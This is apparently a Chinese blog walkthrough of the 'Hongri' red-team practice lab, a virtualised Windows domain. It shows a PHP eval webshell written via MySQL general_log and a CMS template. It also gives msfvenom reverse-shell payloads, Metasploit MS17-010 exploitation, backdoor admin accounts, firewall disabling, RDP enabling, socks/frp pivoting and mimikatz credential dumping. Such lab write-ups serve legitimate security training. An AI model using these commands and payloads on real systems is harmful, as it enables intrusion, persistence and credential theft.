红日靶场1

ATT&CK实战系列——红队实战(一)

最开始搭好环境后打了一部分搁置了一段时间,渗透入门,就是中间有很多怪怪的问题,
[toc]

参考文章

Cobalt Strike使用手册

https://xz.aliyun.com/t/10076#toc-10

https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg

cs之beacon

cs基本命令
cs文档https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html
cs和msf会话互传
靶场记录
基本命令

windows主机信息收集

Windows信息收集

主机信息收集

内网信息收集

msf反弹payload学习

内网信息收集

内网渗透代理

meterpreter后渗透

环境搭建

image-20230111190013726

Windows2003、Windows Server 2008网络适配器设置为自定义(VMnet1仅主机模式);攻击机我这里用的是物理机关一个网卡VM1就无法再访问到两台内网主机。此时Win7、Windows2003、Windows Server 2008处于同一内网中,攻击机只能先拿下win7,再通过win7访问内网进行横向渗透;

  • Kali:192.168.47.1
  • Win7:外网192.168.47.128 内网193.168.52.143
  • Windows2003:192.168.52.141
  • Windows Server 2008:192.168.52.138

请添加图片描述

渗透攻击

信息收集

其实这种靶场因为涉及的机子就三台,也没有什么子域名要收集,基本上就已知的三个ip,所以真要说信息收集也真没啥要收集的,直接就一个供外网能访问的站了。但是要涉及一些目标比较大,子域名等等信息比较多的渗透的时候,信息收集就很重要了,这个回头再总结吧。

入口是个php探针,里面很容易发现服务器主机名,管理员邮箱admin@phpStudy.net等等敏感信息。

请添加图片描述

进而也能看到phpinfo

请添加图片描述

扫下IP看看开了哪些端口,然后扫下目录。很明显发现有 phpMyAdmin,还有shell.php(这个是我之前传的)。

image-20230111191645848

getshell

从mysql getshell

访问phpMyAdmin,测试一下mysql用户密码,这里账号密码root/root很容易试出来。

先查询一下能否写文件,NULL说禁止写文件。

image-20230111191918489

看看能否通过日志getshell。SET GLOBAL general_log='on'打开general_log日志读写功能。

image-20230111192219562

SET GLOBAL general_log_file = 'C:/phpStudy/WWW/kkfine.php';'创建一个shell.php作为日志文件,然后查询SELECT '<?php @eval($_POST[kkfine]);?>'即可写马。

image-20230111192756681

从cms getshell

其实靶场还搭了一个Yxcms http://192.168.47.128/yxcms/,这是可以从数据库中发现的。查询管理员用户密码,md5爆破后为949ba59abbe56e05,但事实上后台应该不是只用了md5加密,最终用默认用户密码admin/123456登录进入。

image-20230111193451869

进入后台发现可以编辑后台模板文件,直接写马

image-20230111195055904

同样getshell

image-20230111195111219

msf接受shell

有很多方式可以弹shell到msf,参考文章利用msf生成一个php文件。

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php 

然后监听

1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.101.3
set lport 4444
exploit -j

访问shell.php即可收到shell

image-20230111225227115

cs上线

cs上线也很简单添加监听器生成exe文件就行,不过真实的渗透肯定需要一些免杀马。

image-20230111230631796

维持权限

这一块的话以后再说吧,涉及到windows知识等等还没学会。

收集windows信息

常用命令

下面一些命令需要主机是域成员才能执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
net use  查看ipc连接情况
net user /domain 获取域用户列表
net user test 123 /add 添加用户
neet localgroup administrators test /add 添加test用户到管理组,一般情况下,管理组才能远程桌面
net group /domain 查询域里面的组
net group "domain admins" /domain 获取域管理员列表
net group "enterprise admins" /domain 查看当前域中企业管理员组用户
net group "domain computers" /domain 查看当前域中的所有的计算机名(登录过该域的计算机)
net group "exchange servers" /domain 查看域内是否存在Exchange
net group "domain controllers" /domain 查看域控制器(如果有多台)
net config workstation 查看当前登录域
net view 查看同一域内机器列表
net view \\ip 查看某IP共享
net view \\test 查看test计算机的共享资源列表
net view /domain 查看内网存在多少个域
Net view /domain:test 查看test域中的机器列表
wmic useraccount get Caption,sid 获取域内所有用户sid
setspn -T target.com -Q */* 获取当前域内所有spn
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i"ttl"
for /l %i in (1,1,255) do @ping 10.10.10.%i -w 1 -n 1 | find /i"ttl"

网络信息查找

1
2
3
4
ipconfig /all   查看当前主机的主机名/IP/DNS等信息
route print 查看路由表信息
netstat -ano 查看端口开放情况,有些时候能获取到别的IP段
arp -a 查看arp解析情况

寻找内网网段时建议被动寻找,主动寻找动静太大,如nmap、nbtscan这种一扫,可能整个网段内存活的机器就出来了,但随之而来的是IDS的流量审计,一旦引起流量异常被蓝队察觉,可能就会导致我们权限的丢失,永远不要小瞧蓝队,而且还是拥有各种安全设备的蓝队,内网渗透一定要谨慎,大规模资产扫描,自动化漏洞扫描我一般会留到最后才上的。

定位域控

查看域时间,一般域控会做时间服务器

1
net time /domain

通过dns定位域控

1
ipconfig /allipconfig /displaydns   有些时候可以在dns缓存得到域控信息

利用netdom获取域控列表,得到域控名称可通过ping获取域控IP

1
netdom query dc

查看防火墙状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
windows server 2003及以下版本:
netsh firewall show config
window server 2003以上版本:
netsh advfirewall show allprofiles state

Windows server 2003及之前版本:
netsh firewall set opmode disable  #关闭  
netsh firewall set opmode enable   #开启
Windows server 2003之后版本:
netsh advfirewall set allprofiles state off  #关闭    
netsh advfirewall set allprofiles state on   #开启

修改防火墙规则
Windows server 2003及以下版本,允许指定端口、程序连接:
netsh firewall add portopening tcp 4444 test   #指定端口    
   netsh firewall add allowedprogram c:\a.exe test enable   #指定程序
Windows server 2003之后版本,允许指定端口、程序进站、出站:
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444  #允许4444端口进站  
   netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe  #允许a.exe进站  
   netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444   #允许4444端口出站    
   netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe   #允许a.exe出站

其它信息查找

1
2
3
4
5
6
7
systeminfo  查看补丁情况,也能看到当前机器是否加入域环境
net group "domain controllers" /domain 查询域控
nslookup -type=SRV _ldap._tcp.corp 通过srv记录获取域控地址
nltest /dclist:corp 使用nltest查询域控列表
tasklist /svc 查看进程及对应服务名
cmdkey /l 查看当前保存的登陆凭证
type c:\Windows\system32\drivers\etc\hosts 可以发现些内网IP

查询操作系统和版本信息

1
2
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

主机信息

利用cs提权

image-20230114020239866

提取用户密码,得到管理员密码

image-20230114005541485

image-20230114005533407

查询用户列表

image-20230111233759426

whoami /all查看当前用户以及当前用户所处的用户组的一些信息,综合判断需不需要提权,这里直接就是adminstrator。

image-20230111232232254

查看网络配置信息,可以发现有三个ip,192.168.52.143大概率就是内网ip地址了。还可以看到在god.org这个域中,并且在域环境中,DNS服务器的IP地址通常为域控制器地址,所以192.168.52.143的DNS地址192.168.52.138也很大可能是域控ip。

image-20230111232617455

image-20230111232650660

查看与dns服务器是否在同一ip上。

image-20230111233142321

查看系统详细信息,可以发现也是在域中的。

image-20230111233238400

从hosts文件也能看出来。

image-20230111232512823

查询当前登陆域及登陆用户信息

显示项的“工作站域 DNS 名称”即域名(若为“WORKGROUP”则表示不在域中),“登录域”用于表示当前登录的用户是域用户还是本地用户。

image-20230111233428621

利用cs dump下用户hash。

判断主域

1
net time /domain

该命令用于判断主域(域服务器通常会同时作为时间服务器使用),执行后通常会有如下三种情况:

存在域,但当前用户不是域用户。

image-20230111233515403

存在域,且当前用户是域用户。

image-20230111233608297

当前网络环境为工作组,不存在域。

image-20230111233558331

防火墙相关信息,关闭防火墙

image-20230111233915168

image-20230111234112564

横向渗透

探测域内存活主机

这台主机不是域成员所以还得横向攻击拿到域成员主机权限,探测域内存活主机的方式有很多

icmp

1
for /L %i in (1,1,254) DO home.php?mod=space&uid=294246 -w 1 -n 1 10.1.1.%i | findstr "TTL="

fscan https://github.com/shadow1ng/fscan

上传一个fscan扫描.\fscan64.exe -h 192.168.52.1/24 > 1.txt

可以看到域内还有两台主机,192.168.52.143域成员 192.168.52.138域控 两台主机都能打MS17-010

image-20230111235450772

内网代理

有好多种方式可以代理,可以用Meterpreter的socks代理,或者ssh隧道或者frp穿透等等。

如果只需要代理转发一个端口,可以用portfwd进行端口转发.命令执行之后,会将192.168.47.128的3389端口转发到本地的2222端口。

1
portfwd add -l 2222 -r 192.168.47.128 -p 3389

这里使用msf搭建socks代理,先添加路由

1
run autoroute -s 192.168.52.0/24
搭建Socks4a代理
1
2
3
4
5
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.101.3
set srvport 1080
exploit

image-20230112235531659

修改一下proxychains配置文件,即可实现代理。

1
proxychains4 nmap -p 1-1000 -Pn -sT 192.168.52.0/24

image-20230114014637904

浏览器使用sock4代理,可以访问到了192.168.52.141

image-20230114015311207

使用frp

frp作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。 https://github.com/fatedier/frp

公网vps主机frps.ini文件

1
2
3
[common]
bind_port = 7000
token = password

启动frps

1
./frps -c ./frps.ini

目标内网主机frpc.ini文件

1
2
3
4
5
6
7
8
9
[common]
server_addr = x.x.x.x
server_port = 7000
token = password

[socks5]
type = tcp
remote_port = 7004
plugin = socks5

启动frpc

1
./frpc -c ./frpc.ini

本地攻击机修改/etc/prxoychains.conf配置文件即可

1
socks5  x.x.x.x 7004
使用nps

横向攻击

扫描一下192.168.52.141,这里就开了3389并且关闭了。

image-20230114024831843

前面fscan已经扫出来大概率存在smb_ms17_010漏洞,也可以再扫描一遍。

1
2
3
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run

很明显存在漏洞

image-20230114011400208

利用msf进行攻击,最初是失败了因为靶机是32位系统,这个exp只支持64位得。32位得攻击脚本得手动下载(下载地址)

1
2
3
4
5
6
use exploit/windows/smb/eternalblue_doublepulsar
set payload windows/x64/meterpreter/reverse_tcp
set PROCESSINJECT lsass.exe
set RHOSTS 192.168.52.141
set LPORT 7777
run

image-20230114012425214

不过发现还是失败

image-20230114023144163

后面使用ms17_010_command执行命令是成功的,发现就是Administrator用户。

1
use auxiliary/admin/smb/ms17_010_command

image-20230114023104546

这里参考网上的一篇文章利用ms17_010_psexec尝试打shell,但有一下要求

1
2
3
4
5
6
为了能够使用exploit/windows/smb/ms17_010_psexec:
您可以任意使用有效的用户名和密码绕过这些大部门要求
1.防火墙必须允许SMB流量出入
2.目标必须使用SMBv1协议
3.目标必须缺少MS17-010补丁
4.目标必须允许匿名IPC $和管道名

关于注册表(参考)

1
set command REG ADD  HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   开启rdesktop

image-20230114030243880

添加用户,该模块比msf上其它几个MS17-010 漏洞利用模块要稳定,但是需要管道名,利用中经常会出现找不到管道名的情况,可以通过 auxiliary/scanner/smb/pipe_auditor 模块扫描目标可用的管道名设置NAMEDPIPE参数,或者设置smbuser和smbpass进行自动查找可用管道利用。

1
2
3
4
5
6
set command net user kkfine123 Kk456123 /add	
run
set command net localgroup administrators kkfine123 /add
run
set command net localgroup administrators
run

image-20230114030649450

使用exploit/windows/smb/ms17_010_psexec 拿shell

1
2
3
4
5
6
use exploit/windows/smb/ms17_010_psexec 
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
set SMBUser kkfine123
set SMBPass Kk456123
run

但得多是几次因为很容易打成蓝屏。

image-20230114035342826

但还是无法攻击获得session,sessions一旦创建就die了。

image-20230205212551075

后面发现把payload 换成windows/shell/bind_tcp就可以了。至此我们就拿下了内网两台主机了,只剩下域控了。这里也很容易理解,如果用反向连接攻击机可以通过跳板机进入内网,但是内网里面的主机是无法ping通我们攻击机的,用正向的话让靶机监听一个端口,攻击机通过跳板机就能连接上去了。

image-20230205212741436

这里还有种方法就是利用上述的command模块打开3389远程桌面,然后使用rdesktop来进行文件夹共享来运行我们的马。并且还能使用MS06-040漏洞攻击。

但是通过windows/shell/bind_tcp似乎只有cmd命令行,upload一个msfvenom生成的exe上去再起handler监听即可获取meterpreter。

image-20230206010030215

我本地很怪试了很多种方法也没能获取到meterpreter,大部分都是直接die。

image-20230210225125926

获取凭证

加载mimikatz直接creds_wdigest即可

image-20230210225237063

攻击域控

进行常规扫描,发现MS17-010漏洞,其实打法也有很多种,可以用pkexec执行命令开3389,然后远程连接配置防火墙,再打一个正向meterpreter回来即可

image-20230210214332532

image-20230210225811531


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!